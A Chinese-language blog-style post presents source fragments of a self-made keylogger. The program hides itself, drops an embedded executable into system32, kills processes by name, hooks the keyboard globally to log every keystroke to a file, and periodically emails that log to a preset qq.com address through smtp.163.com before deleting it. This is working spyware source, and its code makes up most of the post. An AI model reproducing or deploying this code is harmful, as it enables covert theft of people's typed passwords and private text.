功能以下,運行後自動隱藏界面,而後記錄鍵盤,每隔30分鐘會向預先設定的郵箱發一封記錄郵件,功能還不是很完善。我就不把程序放上來了,就貼幾段源代碼吧。函數
1.TerminateProcessByName //根據進程名稱結束指定進程spa
void TerminateProcessByName(CString processName) { HANDLE snapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //-------------------------------------- //查詢進程 //-------------------------------------- PROCESSENTRY32 processInfo; CString strProcessName= ""; DWORD nProcessID=0; HANDLE processHandle; int nProcessTerminate=0; processInfo.dwSize=sizeof(PROCESSENTRY32); //獲取第一個進程 BOOL status=Process32First(snapShot,&processInfo); while(status) { //獲取進程名字 strProcessName = processInfo.szExeFile; //查詢比較是否爲要結束的進程 if(processName.CompareNoCase(strProcessName)==0) { //獲取進程ID nProcessID=processInfo.th32ProcessID; processHandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, nProcessID ); if(processHandle==NULL) { return; } //結束一個進程 TerminateProcess(processHandle,0); } //獲取下一個進程 status=Process32Next(snapShot,&processInfo); } }
2. 實現指定資源文件的拷貝 //這段代碼解決了全局鉤子必須使用動態連接庫這個問題code
HANDLE hFile = CreateFile( "C:\\WINDOWS\\system32\\picture.exe", GENERIC_WRITE,FILE_SHARE_WRITE,NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); HRSRC hrsrc=FindResource(NULL,MAKEINTRESOURCE(141),"Exe"); LPCVOID lp=LockResource(LoadResource(NULL,hrsrc)); DWORD fileSize=SizeofResource(NULL,hrsrc); WriteFile(hFile,lp,fileSize,&writeSize,NULL); CloseHandle(hFile); 3.SendMyMail //發送郵件 BOOL _declspec(dllimport) WINAPI SendMail( LPCSTR smtpserver, LPCSTR user, LPCSTR password, LPCSTR mailfrom, LPCSTR mailto, LPCSTR subject, LPCSTR msgbody ); BOOL _declspec(dllimport) WINAPI GetSmtpError(LPSTR strerrmsg); void SendMyMail() { FILE* f=fopen("C:\\WINDOWS\\system32\\logforkeyboard.db","a+"); char buffer[2002]; fread(buffer,sizeof(char),2000,f); fclose(f); char* stserver="smtp.163.com"; char* user="***********"; char* pwd="**********"; char* sender="***********"; char* receiver="********@qq.com"; char* title="The log for keyboard"; char* body=buffer; SendMail(stserver,user,pwd,sender,receiver,title,body); remove("C:\\WINDOWS\\system32\\logforkeyboard.db"); } 4.KeyboardProc //關鍵的函數,鍵盤記錄 LRESULT CALLBACK KeyboardProc( int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ) { if('U'==wParam&&(1==(lParam>>29 & 1))) { SendMessage(g_hWnd,WM_CLOSE,0,0); UnhookWindowsHookEx(g_hKeyboard); } if (lParam& 0x40000000) { return CallNextHookEx(g_hKeyboard,code,wParam,lParam); } else { char c=getKeyText(wParam); WriteToDbFile(c); } return CallNextHookEx(g_hKeyboard,code,wParam,lParam); }